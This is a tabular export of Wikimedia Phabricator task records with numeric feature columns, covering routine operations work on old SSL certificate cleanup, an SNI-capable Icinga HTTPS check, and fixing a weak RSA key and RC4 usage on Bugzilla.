389168,more robust certificate chain creation in puppet,//AdminCc jeremyb added by jeremyb//,,,1412558748,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-uczzals2x5qlvqvklrcf,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.4,1.0,//AdminCc jeremyb added by jeremyb//
84536,(old) SSL certificates cleanup,"%%%we should go through the entire files/ssl in both, public and private%%%
%%%repositories and remove certificates we don't need anymore, and also the%%%
%%%corresponding keys in the private repo%%%
%%%here are some patches starting that, but there are very likely more of them%%%
%%%https://gerrit.wikimedia.org/r/#/q/status:open+project:operations/puppet+branch:production+topic:SSL-cert-cleanup,n,z%%%
%%%also work with robh to make sure these are removed/revoked properly in other%%%
%%%places, like web interfaces of the different CAs we used for these in the past,%%%
%%%where appropriate%%%
",Medium,50.0,1412614292,1432914688.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_description,resolved,True,c3,1,True,True,True,-39,True,0.5,0.0,1.0,1.0,0.5,6.0,0.5,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.5,2.0,0.5,5.5,8.5,0.0,1.0,0.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,2.5,2.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,2.5,15.0,0.0,0.0,2.0,8.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,3.616454930429522,0.6521476104053237,"%%%we should go through the entire files/ssl in both, public and private%%%
%%%repositories and remove certificates we don't need anymore, and also the%%%
%%%corresponding keys in the private repo%%%
%%%here are some patches starting that, but there are very likely more of them%%%
%%%URL
%%%also work with robh to make sure these are removed/revoked properly in other%%%
%%%places, like web interfaces of the different CAs we used for these in the past,%%%
%%%where appropriate%%%
"
2255183,(old) SSL certificates cleanup,"Change 988084 **merged** by Dzahn:
%%%[labs/private@master] secret: delete fake keys for hosts in Tampa(!)%%%
https://gerrit.wikimedia.org/r/988084",,,1704738477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,3,False,,,444,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.6,0.7666666666666667,"Change 988084 **merged** by Dzahn:
%%%[labs/private@master] secret: delete fake keys for hosts in Tampa(!)%%%
GERRIT_URL"
2254188,(old) SSL certificates cleanup,"Change 988084 had a related patch set uploaded (by Dzahn; author: Dzahn):
%%%[labs/private@master] secret: delete fake keys for hosts in Tampa(!)%%%
https://gerrit.wikimedia.org/r/988084",,,1704491578,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,3,False,,,444,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.888888888888889,0.8611111111111112,"Change 988084 had a related patch set uploaded (by Dzahn; author: Dzahn):
%%%[labs/private@master] secret: delete fake keys for hosts in Tampa(!)%%%
GERRIT_URL"
465810,(old) SSL certificates cleanup,resolving since all subtasks are closed ,,,1432914688,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-5,True,17.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,5.666666666666667,1.0,resolving since all subtasks are closed 
389239,(old) SSL certificates cleanup,Dependency on ticket #8689 added by dzahn,,,1413846014,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Dependency on ticket #8689 added by dzahn
389230,(old) SSL certificates cleanup,Dependency on ticket #8654 added by dzahn,,,1413404584,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Dependency on ticket #8654 added by dzahn
389219,(old) SSL certificates cleanup,Dependency on ticket #8631 added by dzahn,,,1412978748,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Dependency on ticket #8631 added by dzahn
389210,(old) SSL certificates cleanup,Dependency on ticket #8630 added by dzahn,,,1412978748,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Dependency on ticket #8630 added by dzahn
389200,(old) SSL certificates cleanup,Dependency on ticket #8629 added by dzahn,,,1412978748,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Dependency on ticket #8629 added by dzahn
389188,(old) SSL certificates cleanup,//Status changed from 'new' to 'open' by RT_System//,,,1412791782,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'open' by RT_System//
389177,(old) SSL certificates cleanup,"%%%The blog and techblog certificates are still in use. We have a third party%%%
%%%(automattic) hosting the blogs, and using those certificates.%%%
%%%As the pub/private git repos are the most secure place for US to store said%%%
%%%certificate and key (and we need to keep them as well, we paid for them!), I%%%
%%%say leave them there, do not delete.%%%
%%%--%%%
%%%Rob Halsell%%%
%%%Operations Engineer%%%
%%%Wikimedia Foundation, Inc.%%%
%%%E-Mail: <rhalsell at wikimedia>%%%",,,1412791782,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,1.0,2.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.5,0.0,4.0,4.5,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,10.0,0.0,2.0,3.0,0.0,0.0,1.0,0.0,3.5,21.5,0.0,0.0,4.0,4.5,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.5,2.5,1.0,0.0,0.5,1.0,3.265625,0.6328125,"%%%The blog and techblog certificates are still in use. We have a third party%%%
%%%(automattic) hosting the blogs, and using those certificates.%%%
%%%As the pub/private git repos are the most secure place for US to store said%%%
%%%certificate and key (and we need to keep them as well, we paid for them!), I%%%
%%%say leave them there, do not delete.%%%
%%%--%%%
%%%Rob Halsell%%%
%%%Operations Engineer%%%
%%%Wikimedia Foundation, Inc.%%%
%%%E-Mail: <rhalsell at wikimedia>%%%"
389167,(old) SSL certificates cleanup,"%%%current list of ticket suggested for removal is so far:%%%
%%%noc.wikimedia.org%%%
%%%sanger.wikimedia.org%%%
%%%nfs1.pmtpa.wmnet%%%
%%%nfs2.pmtpa.wmnet%%%
%%%virt-star.pmtpa%%%
%%%snuggle.wikimedia.org%%%
%%%blog.wikimedia.org%%%
%%%techblog.wikimedia.org%%%
%%%ishmael.wikimedia.org%%%
%%%contacts.wikimedia.org%%%",,,1412791526,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,49.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.769230769230769,0.36923076923076925,"%%%current list of ticket suggested for removal is so far:%%%
%%%noc.wikimedia.org%%%
%%%sanger.wikimedia.org%%%
%%%nfs1.pmtpa.wmnet%%%
%%%nfs2.pmtpa.wmnet%%%
%%%virt-star.pmtpa%%%
%%%snuggle.wikimedia.org%%%
%%%blog.wikimedia.org%%%
%%%techblog.wikimedia.org%%%
%%%ishmael.wikimedia.org%%%
%%%contacts.wikimedia.org%%%"
389157,(old) SSL certificates cleanup,"%%%and also remove them from all servers they have been installed on, use ""shred""%%%
%%%instead of just rm to get rid of the key%%%",,,1412614361,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-gf6nlbwvd7gwzeulsty5,task_subcomment,,True,c3,1,True,,,-39,True,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,6.0,15.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.303030303030303,0.8181818181818182,"%%%and also remove them from all servers they have been installed on, use ""shred""%%%
%%%instead of just rm to get rid of the key%%%"
84444,Create icinga HTTPS check that supports SNI,"We now use SNI in a few places on the cluster, at least on misc-web and on the
Bugzilla server.
Unless I'm mistaken (correct me if I'm wrong) we don't check for those SSL
certificates yet with SNI. Let's create an Icinga check that supports this (in
Puppet).",Medium,50.0,1411035235,1421717958.0,PHID-USER-hovi6c77qompv5qd7gtz,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-gzbjpjinqci3vqgwpcl2,task_description,resolved,True,c3,1,False,False,True,-41,True,2.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,8.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,6.0,0.0,17.0,3.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,15.0,9.0,0.0,0.0,0.0,9.0,0.0,2.0,3.0,2.0,0.0,0.0,2.0,0.0,3.257575757575758,0.7727272727272727,"We now use SNI in a few places on the cluster, at least on misc-web and on the
Bugzilla server.
Unless I'm mistaken (correct me if I'm wrong) we don't check for those SSL
certificates yet with SNI. Let's create an Icinga check that supports this (in
Puppet)."
401585,Create icinga HTTPS check that supports SNI,"We do check for the SNI certificates for a while now. check_ssl, the new SSL check, also supports that.",,,1421717958,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-gzbjpjinqci3vqgwpcl2,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,13.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6956521739130435,0.782608695652174,"We do check for the SNI certificates for a while now. check_ssl, the new SSL check, also supports that."
83768,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%break out from #2517 which was about the BEAST attack (and has been fixed in%%%
%%%the past).%%%
%%%current issues left on bugzilla.wikimedia.org%%%
%%%---%%%
%%%Key RSA 1024 bits WEAK%%%
%%%RC4 cipher is used with TLS 1.1 or newer protocols, even though stronger%%%
%%%ciphers are available.%%%
%%%The server does not support Forward Secrecy with the reference browsers.%%%
%%%---%%%
%%%https://www.ssllabs.com/ssltest/analyze.html?d=bugzilla.wikimedia.org%%%

__________________________

**Bugzilla Ticket**: [[ https://old-bugzilla.wikimedia.org/show_bug.cgi?id=53259 | 53259 ]] => {T55259}


**Refers To:**
{T83471}
{T83928}

**Referred To By:**
{T80790}
{T81221}",Medium,50.0,1397570010,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_description,resolved,True,c3,1,True,False,True,-64,True,0.0,0.0,0.0,1.0,0.5,2.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.5,0.5,1.0,2.5,0.0,0.0,0.0,0.5,1.0,14.5,2.0,0.0,0.0,5.5,8.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,2.5,2.763023493360572,0.4849974463738509,"%%%break out from #2517 which was about the BEAST attack (and has been fixed in%%%
%%%the past).%%%
%%%current issues left on bugzilla.wikimedia.org%%%
%%%---%%%
%%%Key RSA 1024 bits WEAK%%%
%%%RC4 cipher is used with TLS 1.1 or newer protocols, even though stronger%%%
%%%ciphers are available.%%%
%%%The server does not support Forward Secrecy with the reference browsers.%%%
%%%---%%%
%%%URL

__________________________

**Bugzilla Ticket**: [[ URL | 53259 ]] => {T55259}


**Refers To:**
{T83471}
{T83928}

**Referred To By:**
{T80790}
{T81221}"
382946,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",//AdminCc jeremyb added by jeremyb//,,,1409352248,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,False,,,-44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.4,1.0,//AdminCc jeremyb added by jeremyb//
382938,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",//Status changed from 'new' to 'resolved' by dzahn//,,,1409175731,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'resolved' by dzahn//
382927,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%half resolved, half rejected, also see 7534, fixed dependency that wasn't%%%
%%%really a dependency%%%",,,1409175731,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.875,0.6666666666666666,"%%%half resolved, half rejected, also see 7534, fixed dependency that wasn't%%%
%%%really a dependency%%%"
382918,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Reference to ticket #7534 added by dzahn,,,1409175686,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Reference to ticket #7534 added by dzahn
382909,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>",Dependency on ticket #7534 deleted by dzahn,,,1409175686,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,1.0,Dependency on ticket #7534 deleted by dzahn
382902,"bugzilla SSL - weak RSA key, <s>RC4 usage</s>","%%%calling it resolved because we fixed the RC4 usage and i dont think we are%%%
%%%going to buy a new cert now that we already started importing bugs to%%%
%%%phabricator%%%",,,1409175660,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-q4a6oitpa4zaf7ycnu4r,task_subcomment,,True,c3,1,True,,,-45,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,12.0,7.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,3.5,0.7380952380952381,"%%%calling it resolved because we fixed the RC4 usage and i dont think we are%%%
%%%going to buy a new cert now that we already started importing bugs to%%%
